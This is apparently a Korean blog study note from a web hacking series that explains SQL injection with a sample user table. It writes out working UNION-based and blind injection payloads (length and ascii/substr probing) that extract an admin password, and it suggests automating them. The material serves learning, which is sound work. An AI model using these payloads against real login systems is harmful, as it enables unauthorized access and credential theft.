ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <WEB Hacking> SQL Injection
    WEB Hacking 2021. 12. 20. 11:18

    DBMS에서 사용하는 쿼리를 임의로 조작해 데이터베이스의 정보를 획득하는 기법

     

    ■Simple SQL Injection

    user_table
    uid upw
    guest guest
    admin **********

    로그인할 때 사용되는 쿼리

    SELECT uid from user_table where uid='' and upw='';

    admin의 비밀번호를 찾기 위한 쿼리

    SELECT uid FROM user_table WHERE uid='' UNION SELECT upw FROM user_table WHERE uid='admin'#' and upw='';

     

    ■Blind SQL Injection

    질의 결과를 이용자가 화면에서 직접 확인하지 못할 때, 참/거짓 반환 결과로 데이터를 획득하는 기법

     

    로그인할 때 사용되는 쿼리

    SELECT uid from user_table where uid='' and upw='';

    admin의 비밀번호의 길이를 찾기위한 쿼리

    SELECT uid FROM user_table WHERE uid='admin' and length(upw) > 9#' and upw='';  # admin
    SELECT uid FROM user_table WHERE uid='admin' and length(upw) > 10#' and upw='';  # None

    upw의 길이가 9보다 크다는 참이고, 10보다 크다는 거짓이므로 upw의 길이는 10이다.

     

    admin의 비밀번호 첫 번째 문자를 찾기위한 쿼리

    SELECT uid FROM user_table WHERE uid='admin' and ascii(substr(upw, 1, 1))=115#' and upw='';  # admin

     

    Blind SQL Injection은 찾고자하는 값이 길이가 길수 있으므로, 공격을 자동화하는 스크립트를 작성하는 것이 유용

    'WEB Hacking' 카테고리의 다른 글

    <WEB Hacking> Command Injection  (0) 2021.12.22
    <WEB Hacking> NoSQL Injection  (0) 2021.12.20
    <WEB Hacking> ClientSide: CSRF  (0) 2021.12.17
    <WEB Hacking> ClientSide: XSS  (0) 2021.12.16
    <WEB Hacking> SOP  (0) 2021.12.15
Designed by Tistory.